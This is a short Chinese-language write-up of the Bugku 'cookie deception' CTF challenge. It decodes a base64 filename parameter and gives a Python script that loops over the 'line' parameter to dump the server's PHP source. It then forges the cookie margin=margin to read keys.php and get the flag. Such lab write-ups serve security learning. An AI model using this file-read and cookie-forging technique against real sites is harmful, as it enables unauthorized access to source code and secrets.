1. 程式人生 > >cookie欺騙(bugku)

cookie欺騙(bugku)

利用cookie值進行攻擊;

完全沒有一點經驗,看到這個提示,我唯一能想到的就是用burpsuite抓包後修改一下cookie值,也許會有些什麼東西;可是抓包後完全無從下手……

然後有沒有發現這道題的url跟其他的有些不一樣呢?後面有一串很奇怪的引數,這熟悉的“=”,應該是base64編碼,拿去解碼一下:原來是&fillename=key.txt;

另外url裡還有一個引數:line,它沒有任何值,那我們試著加上一個,line=2,發現出來了一行程式碼,改成3,換成了另外一行程式碼,那我們可以寫一個指令碼來把所有的程式碼顯示出來:

import requests
a=30
for i in range(a):
    url="http://120.24.86.145:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
    s=requests.get(url)
    print(s.text)

執行後果然發現了一個程式:

<?php


error_reporting(0);


$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");


$line=isset($_GET['line'])?intval($_GET['line']):0;


if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");


$file_list = array(


'0' =>'keys.txt',


'1' =>'index.php',


);


 


if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){


$file_list[2]='keys.php';


}


 


if(in_array($file, $file_list)){


$fa = file($file);


echo $fa[$line];


}


?>

然後發現了cookie:margin=margin;

用burpsuite改包後傳送就可以出flag了;